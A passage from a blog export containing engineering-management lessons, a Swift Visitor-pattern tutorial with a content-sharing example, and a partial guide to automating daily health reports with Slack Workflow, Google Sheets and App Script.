habit of recording and ensure the content is memorable for later.The author suggests reviewing monthly, sharing and discussing decisions with your boss, other managers, or colleagues (at least half of the issues), and listening to others’ opinions. You can anonymize to protect individuals, focus on issues, not people, and record them.Key points for reviewRegarding the problem: How many technical issues did it cause? Is it a personal issue? Is it an isolated issue for a particular member? (Is it simply because they don’t understand the goal?) Will this issue recur in other teams?Regarding the decision: Does this issue really need a manager’s decision? Have you asked teammates for suggestions? Is there someone more experienced who can provide advice? Would you make the same decision upon rethinking it now?Lesson 3. — Confront and challenge your teammatesEncourage teammates to step out of their comfort zones and avoid becoming a jerk or falling into traps.The author mentions initially feeling uncomfortable because colleagues who were friends now became subordinates. He feared damaging the original relationship, so he took on all the finishing tasks himself. But eventually, he found that the more he protected, the more distant he became from teammates because he kept working hard alone, sharing less, and causing teammates to lose faith.Looking back, the author says it’s better to express your true thoughts rather than fear hurting teammates’ feelings. “Fear of hurting teammates” is simply a selfish imagination, unnecessary. Moreover, it’s the manager’s responsibility to lead the team to grow and move forward, to see the big picture, and control risks.Sharing true thoughts is difficult for both sides, but it’s the manager’s responsibility.We need to show empathy, not sympathy. To make their work truly outstanding, they need our objective opinions.The author provides the following three points to help balance emotions and behavior: Am I showing empathy? Have I clearly stated my expectations? Am I leading by example? “If you want to achieve anything in this world, you have to get used to the idea that not everyone will like you.” If you want to achieve something, you must get used to the fact that not everyone will like your ideas.Four common pitfalls: Do I openly share my failures instead of covering them up? (This can be done by writing articles or sending emails to everyone) Forgetting to summarize discussion results (Get used to recording 1:1 and discussion outcomes) Using the wrong feedback medium and not getting to the real issue (Find the appropriate feedback channel according to team culture, e.g., 1:1) Not providing timely feedbackWe need to be aware that engineers like to challenge themselves, improve their skills, and also want respect and feedback from their supervisors. Our mission is to lead the team to grow, so we should not delay any opportunity for feedback. Not making a decision is also a decision, and once the culture of feedback weakens, it becomes harder to reignite.SummarySpend time writing down ways to motivate teammates and ask supervisors if they are being too protective of the team.Lesson 4. — Teach how to get things doneHow to complete tasks with lower risk.Leading by example is a good method. Occasionally participate in the team’s development to demonstrate how to plan and produce good features, showcasing the principles we want to convey. Additionally, focus on explaining the “Why?” (Why do it this way) more than the “How?” (How to do it).The author mentions a culture of extreme transparency, allowing team members to have complete context, which can enhance decision-making capabilities.Reducing risk To reduce the risk of output, the author suggests breaking down requirements into many small iterative features and sharing this idea with other teams. Scale and performance — always have a backup planWill this feature affect performance (or cause other issues)? Can we know in advance? Is there a backup plan (a switch)? Without a backup plan, it is better not to implement it, as it can affect team confidence. Break tasks into smaller tasks to reduce deadline riskIt may be difficult at first, but it can be trained and learned. Utilize peer pressureBreak tasks down for teammates to collaborate on, working together (Code Review is also part of this). Continuously communicate internally and externallyInternally: Ensure expectations, synchronization, deadlines, and resources. Externally: Communicate, and if time is tight, push back on unimportant meetings. Support, fix bugs, and documentIt’s not just about releasing features; you also need to provide customer support, fix bugs, and document. Conduct reviews and delegate tasks, providing leadership opportunities for others. Select a few tasks to lead by example. Ask teammates what they have learned, what motivates them to be more proactive, and what they dislike.Lesson 5. — Delegate tasks without losing quality or visibilityDelegate tasks while maintaining quality and visibility.As a manager, you must delegate tasks properly. The author believes that delegation should involve setting expectations and trusting that the assigned teammates have the ability to execute, learn, and have room for mistakes. Managers should also protect teammates from company pressure.The author uses the following table for recording:This mainly records tasks that are important to team goals, not daily work. Must write down the task contentWhen deciding whether to delegate a task to a teammate, the author first asks if the task is something only they can do and if it is a managerial task. The second question is whether the task is a long-term leadership task. If neither, then delegate it to a teammate.For tasks to be delegated, evaluate the teammate’s experience and skills to find the right person. External: Resources expected from outside or above (Feedback/Tool) DelegateFor the delegation part, we can provide a one-page paper explaining our expectations and simple examples.Lesson 6. — Build trust with other teams in the organizationCollaboration and mutual understanding between teams.The author explains that organizations split into many small teams for quick decision-making to accomplish more. Defining the direction of each team is not difficult (e.g., iOS team works on the iOS app), but aligning all teams’ goals is challenging.The more teams there are, the harder it is to unify everyone’s values, expectations, priorities, and implicit expectations.We should focus on the reasons and motivations for splitting teams rather than the output, as this can lead to contradictions.The author believes the following methods can align the direction of each team: Teams should have a vision, not just handle tasks. Managers need to distinguish between needs and wants. Optimize the team to complete the right things faster, not just more things. Establish good communication with other team managers.The author suggests sharing the team’s status, obstacles, pains, and upcoming major tasks and reasons in bi-weekly manager meetings. When there are differing opinions on priorities with other teams, explain and bring up other factors (e.g., this will reduce CS complaints, be a one-time fix, have a multiplier effect, etc.). First, understand where external teams need our help and actively follow up. Then, bring up where our team needs help from external teams. List the items that need confirmation to ensure they are discussed in the meeting. If not, follow up with relevant managers afterward to see if there are other possibilities. If not possible, weigh the potential delays or alternative solutions and inform stakeholders (to prevent backbiting). Everything is a trade-off.Additionally, here are 5 ways to help teammates build close relationships with other teams: Simple thank-you notes (expressing gratitude for assistance) Team work exchange Internal tech conferences to share knowledge Observing user behavior together and brainstorming optimization ideas Inviting a teammate from another team to join our workSummary “Imagine that someone from Team A drops a feature that Team B needs, due to an urgent support issue. Without communicating this priority change to Team B, trust will be decreased even if it’s a justified priority change.”“difference between transactional trust and relational/emotional trust” Understand transactional trust and relational trust. Transactional trust — whether people will fulfill promises and complete tasks Relational trust — whether people act in ways that build and protect relationshipsLesson 7. — Optimize for business learningBuild a culture of business learning rather than a culture of building, optimizing throughput, or optimizing value. Premature optimization is a disaster Focus on optimizing current problems, not optimizing for the sake of it Even if not responsible for the entire project, we can still optimize internal operations; big successes often come from the accumulation of small optimizations As managers, we must demonstrate the motivations behind decisions Establish a culture of business learning (value) rather than a building culture (focus on solving business problems rather than just building solutions) Optimize efficiency vs. optimize throughput: Optimize efficiency: solving a single task’s time Optimize throughput: how many tasks can be solved within a time frame (e.g., a quarter) Know the impact of each optimization The importance of automation (saving time in the long run)Use the AARRR principle for value optimization: Acquisition: How to attract more users Activation: How to guide users to complete tasks that help them understand the product’s value (e.g., an alarm app guiding a new user to set an alarm) Retention: Increase return visits and usage frequency Referrer: Let your users and content bring more traffic Revenue: Quantify the revenue generated by usersThese five aspects are closely related. If Retention is low, adjustments can be made to Referrer and Acquisition simultaneously.As engineering managers, our job is not just to code or fully immerse ourselves in technology; we should periodically realign with product value.When the product is in its early market testing phase, focus on optimizing efficiency (quickly solving tasks and releasing) by repeating the following process:Feature improves Retention -> Release feature -> Learn -> Adjust & repeat.Evaluate each stage from feature to release for optimization opportunities (spending too much time on design? Discussions?).Can we invest 20% of the time to reduce 80% of development time? Especially painful points.Can we experiment or release to the smallest audience first? Avoid large features that end up unused. Good data tracking is essential to understand the effectiveness of efforts “If you can’t make engineering decisions based on data, then make engineering decisions that result in data.”Although “not implementing this feature will bankrupt the company” is scarier than “this feature will lead to technical debt,” as managers, if we can secure more time to address technical debt, we should do so. We must communicate and manage well.Optimizing code that might not be used is meaningless. After the initial experimental phase, when the product model stabilizes, it is more suitable to optimize throughput (e.g., given X resources, achieving Y output) Provide predictability for business needs (as above)Track team output (e.g., “01/01/2013–14/01/2013: 2 Large features, 5 Medium features, 4 Small”), and through long-term statistics, provide forecasts.Identify & resolve bottlenecks: Synchronous communication: For example, in the product development process, design resources are needed; when entering the engineering development stage, do we have clear specifications ready for development? Are we waiting? Is there anything we can do first? Infrastructure: Make the code extensible and maintainable Automation: Use automation to handle tedious manual operations, saving time and avoiding errorsSince business strategies are constantly changing, we should maintain a more open and flexible mindset towards optimization strategies, with the summary of optimization still focusing on business needs.Lesson 8. — Use Inbound Recruiting to attract better talentAbout Recruitment.Start doing the following tasks regularly to prevent a sudden shortage of talent. If you wait until you need people, you’ll have to revert to traditional methods of constant interviewing, which makes it hard to find suitable candidates.Internal: Cultivate a good engineering culture environment (e.g., Code Review, annual meetings…) Create an attractive work environment Manage like a brand Team members work together Strengthen personal connections (e.g., birthday celebrations) Make team members proud of the team firstExternal: Internal team regularly answers community questions (e.g., Stackoverflow) to increase exposure Hide recruitment Easter eggs in the code (e.g., web developer tools) Share the problems and solutions our team encounters with the community (articles or talks) Host hackathons Establish side projects (e.g., open-source projects)Assign the above tasks to team members so everyone contributes to finding good talent.Lesson 9. — Build a scalable teamBuilding a scalable team.Creating scalable programs has been our responsibility as engineers, but now the challenge is to build a scalable team.Unlike programs, people have expectations, needs, and dreams to consider.The author wants to create a happy work environment where teammates understand task expectations and new challenges, and maintain this enthusiasm. Align goalsAlign personal vision with company goals. If the current company goals are not understood, it can cause team dysfunction. Align core valuesThis is about consensus and tacit understanding regarding ways of doing things and what is important. Team core values are not static and should evolve with time. BalanceBalance the skills and growth of team members, assigning different visions, autonomy, and ownership. Collaborate and grow together (e.g., newcomers expect to understand company processes, veterans should do Code Reviews and mentoring). Everyone should have growth potential. Team core values over individualThis may lead to some people leaving, and it requires time and patience to achieve. There are many challenges (e.g., questioning core values when someone leaves). Sense of accomplishmentResults should bring a sense of accomplishment. As a manager, you cannot let teammates burn out their enthusiasm.Implementation Define team visionFor example, the author’s team is doing web scraping, and their team vision is “To build the largest, most informative profile-database in the world.”Note that this is a vision, not a short-term goal or something you don’t want to do. Define team core valuesWhen selecting core values, ask, “Is this value important enough to fire someone over if they lack it?”Write down the core values and reasons.The author provides the following core values: Don’t let others (other teams) clean up your mess; take responsibility for your (team’s) mistakes. Maintain loyalty and respect for all team members.With core values, recruitment or firing decisions have clearer criteria, and there is a better basis for doing things. Define member expectations of the team and managers Provide a productive and happy work environment Understand the “Why” of tasks, not just the “How” Receive genuine feedback Have opportunities to lead other members Share work resultsDefine expectations for team membersBasic expectations: Complete tasks Maintain a passion for learning Maintain a passion for sharing and teaching Understand the baseline sense of doing thingsPersonal expectations: Set expectations based on ability Have the ability to train others to change Drive change rather than complainWe are a team. Team members have their responsibilities and deliverables, and they must also collaborate with others, help each other, and grow together. Defining expectations is like a contract, transforming the original colleague relationship into a managerial relationship, leading more purposefully. Defining these items is not easy and requires time and patience to iterate. “You can’t empower people by approving their actions. You empower by designing the need for your approval out of the system.”If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Visitor Pattern in iOS (Swift)", "url": "/posts/ba5773a7bfea/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, swift, design-patterns, visitor-pattern, double-dispatch", "date": "2021-06-15 23:58:36 +0800", "snippet": "Visitor Pattern in Swift (Share Object to XXX Example)Analysis of the practical application scenarios of the Visitor Pattern (sharing items like products, songs, articles… to Facebook, Line, Linked...", "content": "Visitor Pattern in Swift (Share Object to XXX Example)Analysis of the practical application scenarios of the Visitor Pattern (sharing items like products, songs, articles… to Facebook, Line, Linkedin, etc.)Photo by Daniel McCulloughIntroductionFrom knowing about the existence of “Design Patterns” to now, it has been over 10 years, and I still can’t confidently say that I have mastered them completely. I have always been somewhat confused, and I have gone through all the patterns several times from start to finish, but if I don’t internalize them and apply them in practice, I quickly forget. I am truly useless.Internal Strength and TechniquesI once saw a very good analogy: the techniques part, such as PHP, Laravel, iOS, Swift, SwiftUI, etc., are relatively easy to switch between for learning, but the internal strength part, such as algorithms, data structures, design patterns, etc., are considered internal strength. There is a complementary effect between internal strength and techniques. Techniques are easy to learn, but internal strength is difficult to cultivate. Someone with excellent techniques may not have excellent internal strength, while someone with excellent internal strength can quickly learn techniques. Therefore, rather than saying they complement each other, it is better to say that internal strength is the foundation, and techniques complement it to achieve great success.Find Your Suitable Learning MethodBased on my previous learning experiences, I believe that the learning method of Design Patterns that suits me best is to focus on mastering a few patterns first, internalize and flexibly apply them, develop a sense of judgment to determine which scenarios are suitable and which are not, and then gradually accumulate new patterns until mastering all of them. I think the best way is to find practical scenarios to learn from applications.Learning ResourcesI recommend two free learning resources: https://refactoringguru.cn/: Provides a complete introduction to all pattern structures, scenarios, and relationships. https://shirazian.wordpress.com/2016/04/11/design-patterns-in-swift/: The author introduces the application of various patterns in iOS development based on practical scenarios, and this article will also be written in this direction.Visitor — Behavioral PatternsThe first chapter documents the Visitor Pattern, which is one of the gold mines I dug up during my year at StreetVoice, where Visitor was widely used to solve architectural problems in the StreetVoice App. I also grasped the essence of Visitor during this experience, so let’s start with it in the first chapter!What is VisitorFirst, please understand what Visitor is? What problems does it solve? What is its structure?The image is from refactoringguru.The detailed content is not repeated here. Please refer directly to refactoringguru’s explanation of Visitor first.Practical iOS Scenario - Sharing FeatureAssuming today we have the following models: UserModel, SongModel, PlaylistModel. Now we need to implement a sharing feature that can share to: Facebook, Line, Instagram, these three platforms. The sharing message to be displayed for each model is different, and each platform requires different data:The combination scenario is as shown in the above image. The first table shows the customized content of each model, and the second table shows the data required by each sharing platform. Especially when sharing a Playlist on Instagram, multiple images are required, which is different from the source required for other sharing platforms.Define ModelsFirst, define the properties of each model:// Modelstruct UserModel { let id: String let name: String let profileImageURLString: String}struct SongModel { let id: String let name: String let user: UserModel let coverImageURLString: String}struct PlaylistModel { let id: String let name: String let user: UserModel let songs: [SongModel] let coverImageURLString: String}// Datalet user = UserModel(id: \"1\", name: \"Avicii\", profileImageURLString: \"https://zhgchg.li/profile/1.png\")let song = SongModel(id: \"1\", name: \"Wake me up\", user: user, coverImageURLString: \"https://zhgchg.li/cover/1.png\")let playlist = PlaylistModel(id: \"1\", name: \"Avicii Tribute Concert\", user: user, songs: [ song, SongModel(id: \"2\", name: \"Waiting for love\", user: UserModel(id: \"1\", name: \"Avicii\", profileImageURLString: \"https://zhgchg.li/profile/1.png\"), coverImageURLString: \"https://zhgchg.li/cover/3.png\"), SongModel(id: \"3\", name: \"Lonely Together\", user: UserModel(id: \"1\", name: \"Avicii\", profileImageURLString: \"https://zhgchg.li/profile/1.png\"), coverImageURLString: \"https://zhgchg.li/cover/1.png\"), SongModel(id: \"4\", name: \"Heaven\", user: UserModel(id: \"1\", name: \"Avicii\", profileImageURLString: \"https://zhgchg.li/profile/1.png\"), coverImageURLString: \"https://zhgchg.li/cover/4.png\"), SongModel(id: \"5\", name: \"S.O.S\", user: UserModel(id: \"1\", name: \"Avicii\", profileImageURLString: \"https://zhgchg.li/profile/1.png\"), coverImageURLString: \"https://zhgchg.li/cover/5.png\")], coverImageURLString: \"https://zhgchg.li/playlist/1.png\")Doing Nothing ApproachDo not translate the content as it is already in English.We have extracted a CanShare Protocol, any Model that follows this protocol can support sharing; the sharing part is also abstracted into ShareManagerProtocol. Implementing the protocol content for new sharing will not affect other ShareManagers.However, getShareImageURLStrings is still strange. Additionally, assuming that the data for the Model requirements of a newly added sharing platform are vastly different, such as WeChat sharing requiring playback counts, creation dates, etc., and only it needs them, things will start to get messy.VisitorSolution using the Visitor Pattern.// Visitor Versionprotocol Shareable { func accept(visitor: SharePolicy)}extension UserModel: Shareable { func accept(visitor: SharePolicy) { visitor.visit(model: self) }}extension SongModel: Shareable { func accept(visitor: SharePolicy) { visitor.visit(model: self) }}extension PlaylistModel: Shareable { func accept(visitor: SharePolicy) { visitor.visit(model: self) }}protocol SharePolicy { func visit(model: UserModel) func visit(model: SongModel) func visit(model: PlaylistModel)}class ShareToFacebookVisitor: SharePolicy { func visit(model: UserModel) { // call Facebook share sdk... print(\"Share to Facebook...\") print(\"[![Hi sharing a great artist \\(model.name).](\\(model.profileImageURLString)](https://zhgchg.li/user/\\(model.id)\") } func visit(model: SongModel) { // call Facebook share sdk... print(\"Share to Facebook...\") print(\"[![Hi sharing a great song just heard, \\(model.user.name)'s \\(model.name), played by him.](\\(model.coverImageURLString))](https://zhgchg.li/user/\\(model.user.id)/song/\\(model.id)\") } func visit(model: PlaylistModel) { // call Facebook share sdk... print(\"Share to Facebook...\") print(\"[![Hi can't stop listening to this playlist \\(model.name).](\\(model.coverImageURLString))](https://zhgchg.li/user/\\(model.user.id)/playlist/\\(model.id)\") }}class ShareToLineVisitor: SharePolicy { func visit(model: UserModel) { // call Line share sdk... print(\"Share to Line...\") print(\"[Hi sharing a great artist \\(model.name).](https://zhgchg.li/user/\\(model.id)\") } func visit(model: SongModel) { // call Line share sdk... print(\"Share to Line...\") print(\"[Hi sharing a great song just heard, \\(model.user.name)'s \\(model.name), played by him.](https://zhgchg.li/user/\\(model.user.id)/song/\\(model.id)\") } func visit(model: PlaylistModel) { // call Line share sdk... print(\"Share to Line...\") print(\"[Hi can't stop listening to this playlist \\(model.name).](https://zhgchg.li/user/\\(model.user.id)/playlist/\\(model.id)\") }}class ShareToInstagramVisitor: SharePolicy { func visit(model: UserModel) { // call Instagram share sdk... print(\"Share to Instagram...\") print(model.profileImageURLString) } func visit(model: SongModel) { // call Instagram share sdk... print(\"Share to Instagram...\") print(model.coverImageURLString) } func visit(model: PlaylistModel) { // call Instagram share sdk... print(\"Share to Instagram...\") print(model.songs.map({ $0.coverImageURLString }).joined(separator: \",\")) }}// Use caselet shareToInstagramVisitor = ShareToInstagramVisitor()user.accept(visitor: shareToInstagramVisitor)playlist.accept(visitor: shareToInstagramVisitor)Let’s see what we did line by line: First, we created a Shareable Protocol, which is just for us to manage models that support sharing with a unified interface for visitors (undefined is also acceptable). UserModel/SongModel/PlaylistModel implement Shareable func accept(visitor: SharePolicy), so if we add a new model that supports sharing, it only needs to implement the protocol. Define SharePolicy to list the supported models (must be concrete type). You might wonder why not define it as visit(model: Shareable). If we do that, we will repeat the issues from the previous version. Implement SharePolicy for each Share method, combining the required resources based on the source. Suppose today we have a new WeChat sharing feature that requires special data (play count, creation date). It won’t affect the existing code because it can retrieve the information it needs from concrete models.Achieving the goal of low coupling and high cohesion in software development.The above is the classic Visitor Double Dispatch implementation. However, we rarely encounter this situation in our daily development. In general, we may only have one visitor, but I think it is also suitable to use this pattern for composition. For example, if we have a SaveToCoreData requirement today, we can directly define accept(visitor: SaveToCoreDataVisitor) without declaring a Policy Protocol, which is also a good architectural approach.protocol Saveable { func accept(visitor: SaveToCoreDataVisitor)}class SaveToCoreDataVisitor { func visit(model: UserModel) { // map UserModel to coredata } func visit(model: SongModel) { // map SongModel to coredata } func visit(model: PlaylistModel) { // map PlaylistModel to coredata }}Other applications: Save, Like, tableview/collectionview cellforrow…PrinciplesFinally, let’s talk about some common principles: Code is for humans to read, so avoid over-designing. Consistency is crucial. The same context in the same codebase should use the same architectural approach. If the scope is controllable or no other situations are likely to occur, continuing to break it down further can be considered over-designing. Use existing solutions more and invent less. Design patterns have been around in software design for decades, and they consider scenarios more comprehensively than creating a new architecture. If you can’t understand a design pattern, you can learn it. However, if it’s a self-created architecture, it’s harder to convince others to learn because it may only be applicable to that specific case and not a common practice. Code duplication doesn’t always mean it’s bad. Pursuing encapsulation blindly can lead to over-designing. Again, referring back to the previous points, code readability, low coupling, and high cohesion are indicators of good code. Don’t tamper with patterns. There is a reason behind their design, and random modifications may cause issues in certain scenarios. Once you start taking detours, you’ll only go further astray, and the code will get messier. inspired by @saidayReferences Design Patterns in Swift: Visitor (Another scenario using Visitor) https://github.com/kingreza/Swift-Visitor Deep Linking at Scale on iOS (State Pattern)Further Reading Practical Application Records of Design Patterns — In WKWebView with Builder, Strategy & Chain of Responsibility Pattern Practical Application Records of Design Patterns Visitor Pattern in TableViewFeel free to contact me for any questions or feedback.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Building a Fully Automated WFH Employee Health Reporting System with Slack", "url": "/posts/d61062833c1a/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, automation, google-sheets, app-script, slack", "date": "2021-06-14 00:58:21 +0800", "snippet": "Building a Fully Automated WFH Employee Health Reporting System with SlackEnhancing work efficiency by playing with Slack Workflow combined with Google Sheet with App ScriptPhoto by Stephen Phillip...", "content": "Building a Fully Automated WFH Employee Health Reporting System with SlackEnhancing work efficiency by playing with Slack Workflow combined with Google Sheet with App ScriptPhoto by Stephen Phillips — Hostreviews.co.ukIntroductionIn response to full remote work, the company cares about the health of all members. Every day, employees need to report their health status, which is recorded and managed by People Operations.Our Pre-Optimization Flow [Automation] Slack Channel sends a reminder message about the health form at 10 AM every day (the only automated part before optimization) Employees click the link to open the Google Form and fill out health questions Data is stored back in Google Sheet response records [Manual] People Operations compare the list near the end of the day to filter out employees who forgot to fill it out [Manual] Send reminder messages in the Slack Channel & tag those who forgot to fill it out one by one The above is our company’s health reporting tracking process. Each company may have different processes based on their scale and operation methods. This article uses it as an optimization example to learn Slack Workflow usage and basic App Script writing. Actual implementation should be case by case.Issues Need to jump out of Slack context to use a browser to open the Google Form webpage to fill it out, which is especially inconvenient on mobile Google Form can only automatically include email information, not the name of the person filling it out or department information Daily manual comparison and manual tagging are very time-consumingSolutionHaving done quite a few small automation projects, this process has fixed data sources (employee list), simple conditions, and routine actions; it seemed very suitable for automation. Initially, it wasn’t done because I couldn’t find a good way to fill it out (actually, I couldn’t find an interesting research point); so it was left alone until I saw this post by Hai Zongli and realized that Slack Workflow not only can send scheduled messages but also has a form function:Image from: Hai ZongliThis got me excited!!If Slack Workflow Form combined with message automation can solve all the pain points mentioned above, the principle is feasible! So I started implementing it.Post-Optimization FlowFirst, let’s look at the optimized process and results. [Automation] Slack Channel sends a daily reminder at 10 AM for everyone to fill out the health form. Fill out health questions via Google Form or Slack Workflow Form. Data is stored back in Google Sheet response records. People Operations clicks the “Generate Unfilled List” button near the end of each workday. [Automation] Use App Script to compare the employee list and the filled list to filter out the unfilled list. [Automation] Click “Generate & Send Message” to automatically send unfilled reminders & automatically tag the individuals. Done!Effectiveness(Personal Estimate) Each employee can save about 30 seconds daily on filling out the form. People Operations can save about 20 ~ 30 minutes daily on handling this task.Operating PrincipleManage the Sheet by writing App Script. Store all external input data in the Responses Sheet. Write an App Script Function to distribute the data from Responses to each date’s Sheet according to the filling date. If not, create a new date Sheet. The Sheet name directly uses the date for easy identification and access. Compare the current date’s Sheet with the employee list to generate the unfilled list Sheet data. Read the unfilled list Sheet, compose the message, and send it to the specified Slack Channel. Integrate with Slack APP API to automatically read the specified Channel and import the employee list. Use Slack UID Tag <@UID> in the message content to tag the unfilled members.Identity VerificationThe identity verification information connecting Google Form and Slack is Email, so please ensure that all company colleagues use the company Email to fill out the Google Form, and also fill in the company Email in the Slack personal information section.Getting StartedAfter discussing the issues, optimization methods, and results, let’s move on to the implementation phase; let’s complete this automation case step by step together. The content is a bit lengthy, you can skip the sections you already understand, or directly create a copy from the completed result, and learn while modifying.Completed result form: https://forms.gle/aqGDCELpAiMFFoyDACompleted result Google Sheet:Create a Health Report Google Form & Link Responses to Google SheetSteps omitted, please Google if you have any questions. Here, we assume you have already created & linked the health report form.Remember to check “Collect emails” on the form:Collect the email addresses of the respondents for future list comparison.How to link responses to Google Sheet?Switch to “Responses” at the top of the form and click the “Google Sheet Icon”.Change the linked Sheet name:It is recommended to change the linked Sheet name from Form Responses 1 to Responses for easier use.Create a Slack Workflow Form EntryAfter having the traditional Google Form entry, let’s add the Slack filling method.In any Slack conversation window, find the “ below the input box “ “blue lightning ⚡️” and click on it.In the menu under “Search shortcuts,” type “workflow” and select “Open Workflow Builder.”Here, it will list the Workflows you have created or participated in. Click “Create” in the upper right corner to create a new Workflow.Step one, enter the workflow name (for display in the Workflow Builder interface).Workflow trigger method, select “Shortcut.”Currently, there are 5 types of Slack workflow trigger points: Shortcut: Manually trigger the “blue lightning ⚡️” option, which will appear in the workflow menu. Click to start the workflow. New channel member: When a new member joins the Target Channel… (EX: Welcome message) Emoji reactions: When someone reacts to a message in the Target Channel with a specified emoji… (Maybe used for marking important messages as read by pressing XXX Emoji, to know who has read it?) Scheduled date & time: Schedule, at a specified time… (EX: Regular reminder messages) Webhook: External Webhook trigger, advanced feature, can integrate internal workflows with third-party or self-hosted APIs.Here we choose “Shortcut” to create a manual trigger option.Select which “Channel input box” this Workflow Shortcut should be added to and enter the “display name.” *A workflow shortcut can only be added to one channel.Shortcut created! Start creating workflow steps by clicking “Add Step.”Select the “Send a form” Step.Title: Enter the form title.Add a question: Enter the first question’s title (you can label the question number in the title, e.g., 1., 2., 3…).Choose a question type: Short answer: Single-line input box. Long answer: Multi-line input box. Select from a list: Single-choice list. Select a person: Choose a member from the same Workspace. Select a channel or DM: Choose a member from the same Workspace, Group DM, or Channel.For “Select from a list”: Add list item: Add an option. Default selection: Choose the default option. Make this required: Set this question as mandatory. Add Question: Add more questions. The right “↓” and “⬆” can adjust the order, “✎” can expand for editing. You can choose whether to send the form responses back to the Channel or to someone.You can also choose to send the response to…: Person who clicked…: The person who clicked this form (same as the person filling it out). Channel where workflow started: The Channel where this workflow was added.After completing the form, click “Save” to save the step. *Here we uncheck the option to return the form content because we want to customize the message content in later steps.Integrate Slack workflow with Google SheetIf you haven’t added the Google Sheet App to Slack yet, you can click here to install the APP.Following the previous step, click “Add Step” to add a new step. We choose the “Add a spreadsheet row” step from Google Sheets for Workflow Builder. First, complete the authorization of your Google account by clicking “Connect account”. Select a spreadsheet: Choose the target response Google Sheet, please select the Google Sheet created by the initial Google Form. Sheet: Same as above. Column name: The first column to fill in the value, here we select Question 1.Click “Insert Variable” in the lower right corner and select “Response to Question 1…”. After inserting, you can add other columns by clicking “Add Column” in the lower left corner. Repeat this process for Question 2, Question 3, etc.For the email of the person filling out the form, you can select “Person who submitted form”.Click on the inserted variable and select “Email” to automatically fill in the email of the person who filled out the form. Mention (default): Tag the user, raw data is <@User ID> Name: User name Email: User emailThe Timestamp column is a bit tricky; we will supplement the setting method later. First, click “Save” to save, then go back to the top right corner of the page and click “Publish” to publish the Shortcut.After seeing the success message, you can go back to the Slack Channel and give it a try.At this point, clicking the lightning bolt will show the Workflow form you just created, which you can click to fill out and play with.Left: Desktop / Right: MobileWe can fill in the information and “Submit” to test if it works properly.Success! But you can see that the Timestamp column is empty. Next, we will solve this problem.Get submission time from Slack workflowSlack workflow does not have a global variable for the current timestamp, at least not yet. I only found a wish post on Reddit.Initially, I whimsically entered =NOW() in the Column Value, but this way the time for all records is always the current time, which is completely wrong.Thanks to the Reddit post and the tricky method provided by a great netizen, you can create a clean Timestamp Sheet with one row of data and a column =NOW(). First, use Update to force the column to be the latest, then use Select to get the current Timestamp.As shown in the structure above, click here to view the example. Row: Similar to the use of ID, set it directly to “1”. It will be used later when setting Select & Update to inform the data row. Timestamp: Set the value =NOW() to always display the current time. Value: Used to trigger the update time of the Timestamp field. The content is arbitrary; here, the email of the person filling it in is inserted. As long as it can trigger the update, it is fine. You can right-click on the Sheet and select “Hide Sheet” to hide this Sheet, as it is not intended for external use.Go back to Slack Workflow Builder to edit the workflow form you just created.Click “Add Step” to add a new step:Scroll down and select “Update a spreadsheet row”:“Select a spreadsheet” to choose the Sheet you just created, and “Sheet” to select the newly created “Timestamp” Sheet.“Choose a column to search” and select “Row”. Define a cell value to find and enter “1”.“Update these columns” and “Column name” select “Value”. Click “Insert variable” -> “Person who submitted” -> select “Email”.Click “Save” to complete! Now the timestamp update in the Sheet has been triggered. Next, we will read it out for use.Go back to the editing page and click “Add Step” again to add a new step. This time, select “Select a spreadsheet row” to read the Timestamp.The search part is the same as “Update a spreadsheet row”. Click “Save”.After saving, go back to the step list page. You can drag and drop to change the order by moving the mouse over the steps.Change the order to “Update a spreadsheet row” -> “Select a spreadsheet” -> “Add a spreadsheet row”.This means: Update to trigger the timestamp update -> Read the Timestamp -> Use it when adding a new Row.Click “Edit” to edit “Add a spreadsheet row”:Scroll to the bottom and click “Add Column” in the lower left corner, then click “Insert a variable” in the lower right corner. Find the “Timestamp” variable in the “Select a spreadsheet” section and inject it.Click “Save” to save the step and return to the list page. Click “Publish Change” in the upper right corner to publish the changes.Now, test the workflow shortcut again to see if the timestamp is written correctly.Success!Adding a submission receipt to the Slack workflow formSimilar to the submission receipt in Google Form, the Slack workflow form can also have one.On the step editing page, we can add another step by clicking “Add Step”.This time, choose “Send a message”Select “Send this message to” and choose “Person who submitted form”Enter the message content in order, the question title, “Insert a variable” and select “Response to question XXX”. You can also insert “Timestamp” at the end. After saving the steps by clicking “Save”, click “Publish Changes”! Additionally, you can use “Send a message” to send the filled results to a specific Channel or DM.Success!The setup of the Slack workflow form is roughly complete. You can freely combine and play with other features.Google Sheet with App Script!Next, we need to write an App Script to handle the filled data.First, select “Tools” -> “Script editor” from the toolbar at the top of Google Sheet.You can click the top left corner to give the project a name.Now we can start writing App Script! App Script is designed based on Javascript, so you can directly use Javascript code with Google Sheet’s library.Distribute the data of Responses to each date’s Sheet according to the filling datefunction formatData() { var bufferSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Responses') // Name of the Sheet storing responses var rows = bufferSheet.getDataRange().getValues(); var fields = []; var startDeleteIndex = -1; var deleteLength = 0; for(index in rows) { if (index == 0) { fields = rows[index]; continue; } var sheetName = rows[index][0].toLocaleDateString(\"en-US\"); // Convert Date to String, using US date format MM/DD/YYYY var sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(sheetName); // Get MM/DD/YYYY Sheet if (sheet == null) { // If not exist, create new sheet = SpreadsheetApp.getActiveSpreadsheet().insertSheet(sheetName, bufferSheet.getIndex()); sheet.appendRow(fields); } sheet.appendRow(rows[index]); // Add data to date Sheet if (startDeleteIndex == -1) { startDeleteIndex = +index + 1; } deleteLength += 1; } if (deleteLength > 0) { bufferSheet.deleteRows(startDeleteIndex, deleteLength); // After moving to the specified Sheet, remove data from Responses }}Paste the above code into the Code block and press “control” + “s” to save.Next, we need to add a trigger button in the Sheet (can only be triggered manually, cannot be automatically triggered when data is written) First, create a new Sheet and name it “Unfilled List”. From the top toolbar, select “Insert” -> “Drawing”.Use this interface to draw a button.After “Save and Close”, you can adjust and move the button; click the top right “…” and select “Assign script”.Enter the function name “formatData”.You can click the added button to test the function.If “Authorization Required” appears, click “Continue” to complete the verification.During the authentication process, “Google hasn’t verified this app” will appear. This is normal because the App Script we wrote is not verified by Google, but that’s okay since it’s for personal use.Click “Advanced” at the bottom left -> “Go to Health Report (Responses) (unsafe)”.Click “Allow”. While the App Script is running and shows “Running Script”, please do not press again to 